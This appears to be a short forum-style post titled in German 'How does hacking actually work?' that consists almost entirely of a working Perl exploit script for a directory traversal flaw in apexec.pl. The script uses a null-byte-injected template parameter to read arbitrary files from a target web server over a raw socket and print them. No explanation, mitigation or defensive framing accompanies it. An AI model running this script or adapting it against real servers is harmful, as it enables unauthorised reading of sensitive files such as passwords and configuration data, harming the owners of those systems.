Hacken wie geht das eigentlich?

#!/usr/bin/perl
use IO::Socket;
use Getopt::Std;
getopts("h:p:f:");
print "apexec.pl directory traversal attack exploit\n";
print "\tcoded by XodoX\n\n";
if(!$opt_f) { die("Usage: $0 -h <host> -p <path> -f <file>\n"); }
$file = $opt_f;
$host = $opt_h;
$path = $opt_p;
$port = 80;
print "[x] Host: $host\n";
print "[x] Path: $path\n";
print "[x] File: $file\n";
$request = "GET /$path/apexec.pl?template=/.%00.$file%%0000.html HTTP/1.0\n";
$request .= "Host: ".$host."\n\n";
$sock = IO::Socket::INET->new(Proto => 'tcp', PeerAddr => $host, PeerPort => $port) 
or die("Can't connect!");
$sock->send($request);
$sock->recv($data, 1024);
$sock->recv($data, 9999999);
print "[x] Data:\n\n $data\n";